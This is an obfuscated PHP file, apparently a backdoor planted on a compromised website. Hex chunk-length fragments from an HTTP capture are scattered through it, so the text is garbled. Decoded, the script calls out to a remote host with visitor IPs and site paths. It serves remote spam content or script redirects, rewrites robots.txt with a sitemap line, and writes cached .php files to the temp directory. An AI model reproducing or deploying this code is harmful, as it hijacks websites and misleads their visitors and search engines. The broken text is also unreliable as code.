1 < 5 ?php 5 got 5 o ZwK 6 5j; sN 5 iwt: 6 if (!e 6 mpty($ 5 sz)) 6 { $jd 6 = getC 6 urlFas 5 t("{$ 6 http_t 6 ype}{$ 6 vurl}\ 6 63\x6b 6 \147\x 8 2e\141\1 7 63\160\ 6 170\x3 8 f\x73\x7 7 a\x3d" 7 . urlen b code($sz)); 6 } els 2d e { $jd = getCurlFast("{$http_type}{$vurl}\x3 a 3\153\147\ 11 56\141\163\160\x7 c 8\x3f\x78\17 10 1\75{$http_type} 7 "); $sz 42 = getCurlFast("{$http_type}{$vurl}\63\153\147\56\141\163\160\x78\ 8 77\x6a\x 16 64\x3d" . urlencode($j c d)); } goto 6 kZXUn; 5 xFIj 7 t: func 8 tion get 6 _real_ 9 ip() { $k 7 eys = a 6 rray(" 7 \x48\12 b 4\124\x50\x 8 5f\x43\1 9 06\x5f\10 8 3\x4f\x4 9 e\116\105 c \103\124\111 e \x4e\107\x5f\1 9 11\x50", 9 "\110\x54 b \x54\x50\13 10 7\x58\137\x52\x4 9 5\101\x4c b \137\x49\12 e 0", "\x48\x54\ e 124\x50\137\13 f 0\137\106\x4f\1 6 22\127 11 \101\x52\x44\105\ d x44\x5f\106\1 f 17\122", "\110\ 12 124\124\120\137\x4 b 3\x4c\x49\1 1b 05\x4e\124\x5f\111\x50", "\ b x52\x45\x4d d \x4f\x54\105\ 11 137\x41\x44\x44\1 8 22"); fo 7 reach ( b $keys as $k 11 ) { if (!empty($_ 5 SERVE 4 R[$k 9 ])) { $ip 15 = $_SERVER[$k]; if ( 6 strpos 9 ($ip, "\5 6 4") != 4 = fa 10 lse) { $ip = tri 6 m(expl a ode("\54", 8 $ip)[0] a ); } if (f 6 ilter_ a var($ip, F 5 ILTER 5 _VALI 5 DATE_ a IP)) { ret 7 urn $ip 10 ; } } } return " 6 \61\62 b \67\x2e\60\ 7 56\60\x 7 2e\x31" d ; } goto UOex a B; ZwK5j: 5 error 8 _reporti 7 ng(0); 8 goto eX8 6 At; q7 3 0WN 7 : $surl 8 = $jd . c "\163\x7a\1 12 56\56\141\163\160\ d 170"; goto ta 5 djA; 5 p7jg0 14 : function get_url_i 7 nfo(str 9 ing $type a = "\x64\1 5 57\15 8 5\x61\15 9 1\x6e") : c string { $h f ost = $_SERVER[ 19 "\x48\124\124\120\137\x48 11 \117\x53\124"] ?? 9 ''; if ( f $type === "\x6e a \157\x5f\1 b 67\x77\167" e ) { return pre 8 g_replac a e("\x2f\x5 20 e\167\x77\x77\x5c\56\57\x69", '' c , $host); } 7 $protoc 15 ol = !empty($_SERVER[ 13 "\x48\x54\x54\x50\1 6 23"]) e && $_SERVER["\ 15 110\124\124\120\123"] d !== "\x6f\14 8 6\146" ? 9 "\150\x7 d 4\x74\160\x73 8 \72\57\5 b 7" : "\150\ 9 164\x74\x c 70\72\57\x2f 7 "; $bas f e = $protocol . 1b $host; if ($type === "\x62 c \141\163\145 19 ") { return $base; } if ( 12 $type === "\146\16 1a 5\x6c\x6c") { return $base 10 . ($_SERVER["\x c 52\105\121\1 8 25\x45\x d 53\x54\137\x5 9 5\x52\x49 15 "] ?? ''); } return $ f host; } goto WO 5 Cuf; 5 oBxKF d : function en 8 sure_rob 7 ots_sit 7 emap($s 9 itemapLin 21 e) { $robots = rtrim($_SERVER["\1 8 04\117\x b 43\x55\x4d\ b 105\116\x54 13 \137\x52\x4f\x4f\12 8 4"], "\5 9 7\134") . e "\57\x72\x6f\ b x62\157\x74 e \x73\56\x74\x7 c 8\x74"; if ( 7 !file_e 7 xists($ b robots)) { a @file_put_ 6 conten f ts($robots, "\1 d 25\163\145\16 b 2\x2d\141\1 c 47\145\156\1 10 64\x3a\40\x2a\xa a \x41\154\x a 6c\157\x77 c \72\x20\57\x 11 a" . $sitemapLine 5 , LOC 4 K_EX 11 ); } else { $c = 1a @file_get_contents($robots 9 ); if ($c c === false | b | strpos($c f , $sitemapLine) 2a === false) { @file_put_contents($robots, 14 $sitemapLine, FILE_A 5 PPEND f | LOCK_EX); } c } } goto TcP 5 SL; j 4 CsnT e : if ($kk === 8 '' && $i 5 s_no_ 5 query d ) { if ($doma c in === "\147 c \157\x6f\147 f \x6c\x65") { ou d tput_sitemap_ 8 and_exit f ($sitemapLine, 19 $http_type); } else { die c ; } } goto G 5 QGtw; 6 y1V0b 8 : $kk = 7 isset($ 7 get["\x b 6b\x6b"]) ? 11 trim($get["\x6b\ 8 153"]) : c ''; goto u9 a Vm1; WOCuf c : $http_type 2a = !empty($_SERVER["\x48\x54\x54\120\123"] 1c ) && $_SERVER["\110\x54\124\ 31 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\x70\ c x73\x3a\x2f\ b 57" : "\x68 17 \x74\164\x70\72\x2f\57" a ; goto Vmg 9 LL; kZXUn 7 : $hyzh e dy = $jd . "\1 21 72\x6e\56\141\163\160\170"; goto c q70WN; GQGtw 35 : output_sitemap_and_exit($sitemapLine, $http_type); a goto EjU3H 5 ; egg e D8: function c a ache_set($ 8 key, $da 7 ta) { $ a file = sys 9 _get_temp 10 _dir() . "\x2f\1 e 43\x61\143\x68 8 \x65\x5f 7 " . md5 d ($key) . "\56 c \160\x68\160 1b "; @file_put_contents($file 15 , $data, LOCK_EX); } b goto xFIjt; 7 taa3z: 16 if ($domain !== "\x67 10 \157\157\147\154 9 \145" && b !empty($iid a )) { $knam 9 e = urlde 11 code(getCurlFast( f $jd . "\147\x6e 22 \56\141\163\160\x78\x3f\x69\x69\x6 f 4\x3d" . $iid)) a ; echo "\x 8 3c\x73\x 11 63\x72\x69\160\x7 d 4\76\x6c\157\ f 143\x61\164\151 b \x6f\x6e\75 9 \x22" . $ 10 jd . "\141\56\x6 a 1\163\x70\ 15 170\x3f\143\x6e\141\1 9 55\x65\75 14 " . urlencode($kname f ) . "\x26\165\1 d 62\154\75" . c $http_type . 25 $_SERVER["\x48\124\124\x50\137\110\x a 4f\x53\x54 15 "] . $_SERVER["\x53\x e 43\x52\x49\120 10 \x54\137\116\101 d \x4d\105"] . c "\x22\x3c\x2 1c f\x73\x63\x72\x69\160\x74\76 10 "; die; } goto Z 5 GeRz; 6 r795u 8 : $qz = 6 substr d (str_replace( 14 array("\167\167\167\ 9 x2e", "\5 a 6"), '', $ 20 _SERVER["\x48\124\124\x50\x5f\x4 f 8\x4f\123\124"] 7 ), 0, 3 c ); goto ap1m 8 o; TcPSL 14 : if (!empty($get["\ e 167"])) { $par 6 ams = a http_build 7 _query( 16 array("\x4e\x4f\x55\x6 d d\142\145\162 5 " => e $get["\x4e\117 10 \x55\x6d\x62\145 c \x72"] ?? '' 13 , "\164" => $get["\ f 164"] ?? '', "\ 8 x63\x6e" 1f => $get["\143\x6e"] ?? '', "\x 12 70\x4e\x4f\x55\x6d 1f " => $get["\160\x4e\x4f\x55\155 16 "] ?? '', "\x63\x69\14 13 4" => $get["\x63\15 11 1\x64"] ?? '', "\ 22 155" => $get["\x6d"] ?? '')); $str 13 = getCurlFast("{$s 36 url}\x3f{$params}"); echo str_replace(array("\171\171\ d x6d\x6d", "\x 11 67\x67\x67\147\x6 a 7", "\77\1 a 46\x3d"), 51 array($http_type . $_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"] . $_SERVER["\ 10 123\103\x52\x49\ e x50\x54\x5f\x4 13 e\101\115\x45"], $s c z, "\77" . $ 8 qz . "\x b 3d"), $str) 14 ; die; } goto y1V0b; e ap1mo: $sz = 9 $iid = '' b ; goto hlG6 9 j; u9Vm1: c $ip = $kk ! c == '' ? "\x3 b 6\66\x2e\x3 9 2\x34\x39 8 \x2e\70\ d 62\x2e\70" : 15 get_real_ip(); goto U 5 flM7; 16 hlG6j: if (!empty($_G 9 ET)) { $f a = reset($ d _GET); $sp = d explode("\x2d c ", $f); if ( 8 count($s 8 p) === 2 d ) { $sz = $sp c [0]; $iid = 11 $sp[1]; } } goto c sNiwt; UflM7 b : $domain = 21 trim(getCurlFast($jd . "\147\x65 a \164\144\x 12 6f\x6d\x61\151\x6e c \x32\56\x61\ d x73\160\170\7 e 7\x72\x6e\144\ b 75\x31\46\x e 69\160\75" . $ d ip)); goto ta 6 a3z; E 4 YX7h 14 : if ($kk !== '' && 9 preg_matc 8 h("\57\x 6 5e\x5b b \x41\55\x5a d \141\x2d\172\ d 60\x2d\x39\x5 5 d\53\ b 44\57", $kk a )) { $remo 11 te = getCurlFast( 2b $jd . "\147\x65\164\144\157\155\x61\151\x6e b \62\56\141\ 13 x73\x70\170\77\x72\ 11 156\144\75\62\x26 11 \x6b\153\x3d" . $ 11 kk); if (!empty($ 10 remote)) { echo 17 $remote; die; } } goto 5 u3U2k 7 ; gmJgr 12 : function cache_g f et($key, $expir 7 e = 300 32 ) { $file = sys_get_temp_dir() . "\x2f\143\141\143 7 \150\14 24 5\x5f" . md5($key) . "\56\x70\150\x7 8 0"; if ( 17 file_exists($file) && t 6 ime() c - filemtime( 10 $file) < $expire b ) { return 23 file_get_contents($file); } return e false; } goto c eggD8; u3U2k 22 : if ($kk !== '' && !preg_match("\ a x2f\136\x5 b b\x41\55\13 10 2\141\x2d\172\x3 10 0\x2d\x39\135\x2 12 b\44\57", $kk)) { 3c output_sitemap_and_exit($sitemapLine, $http_type); } goto eC 6 AbA; o 4 fsRJ 3c : function output_sitemap_and_exit($sitemapLine, $http_type) 26 { ensure_robots_sitemap($sitemapLine) 12 ; echo "\x3c\x64\x 8 69\x76\4 c 0\x73\x74\17 f 1\154\x65\x3d\x a 27\164\145 e \x78\x74\x2d\x a 61\x6c\151 d \x67\156\72\x f 63\x65\156\164\ f 145\x72\73\160\ 11 x61\x64\x64\x69\x b 6e\147\x3a\ e 61\60\160\170\ a 40\x30\73\ a 47\x3e\xa\ 13 40\x20\x20\40\40\x2 1c 0\x20\x20\40\40\x20\x20\74\x b 61\40\150\1 e 62\145\146\x3d 12 \x22{$http_type}{$ 22 _SERVER["\110\124\124\120\137\110\ d 117\123\124"] 17 }{$_SERVER["\x53\103\12 9 2\111\x50 f \x54\x5f\116\x4 9ed 1\x4d\105"]}\x3f\167\x3d" . date("\131\x6d\144\110\151") . "\x22\x20\164\x61\x72\147\x65\x74\x3d\x22\137\142\154\x61\x6e\x6b\x22\x20\x72\x65\154\75\42\x6e\x6f\146\157\x6c\154\x6f\x77\x22\x3e\x53\151\164\145\x6d\141\160\74\x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\40\x20\74\x2f\x64\x69\166\76"; die; } goto EYX7h; tadjA: $sitemapLine = "\123\151\x74\145\155\x61\x70\x3a\x20{$http_type}{$_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\111\x50\124\137\x4e\101\x4d\x45"]}\x3f\x77\x3d" . date("\131\155\144\110\151") . "\xa"; goto oBxKF; VmgLL: $vurl = "\164\157\x2e\152\x67\x61\x6c\154\x73\x2e\x63\157\155\x2f"; goto r795u; eCAbA: $is_no_query = empty($_SERVER["\x51\125\105\x52\131\137\x53\x54\122\x49\x4e\x47"]); goto jCsnT; eX8At: $get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING); goto gmJgr; ZGeRz: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\x67\x67\x67\147\147", "\x59\131\x59\x59\131", "\x58\x58\x58\131\131\x59", "\xe5\xbd\223\345\x89\x8d\125\x52\x4c", "\125\x55\x55\125\x55", "\115\x4d\115\115\x4d", "\77\x66\75"), array($sz, get_url_info(), get_url_info("\142\141\163\145"), get_url_info("\146\x75\x6c\154"), get_url_info("\x6e\x6f\x5f\x77\167\x77"), parse_url($_SERVER["\122\105\121\125\x45\123\124\137\x55\122\111"], PHP_URL_PATH), "\77" . $qz . "\75"), $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) { return $cached; } $data = ''; if (function_exists("\143\x75\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "\115\157\x7a\x69\x6c\154\x61\57\65\56\60")); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\x66\157\160\x65\x6e")) { $context = stream_context_create(array("\150\x74\x74\160" => array("\164\151\x6d\145\157\x75\x74" => 8, "\x68\x65\x61\x64\145\x72" => "\x55\x73\145\162\55\101\x67\145\156\x74\x3a\x20\x4d\x6f\172\x69\154\154\141\x2f\65\56\x30\xd\12"), "\163\x73\x6c" => array("\x76\145\x72\x69\146\x79\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\x69\146\x79\x5f\x70\x65\145\162\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto p7jg0; EjU3H: ?> 0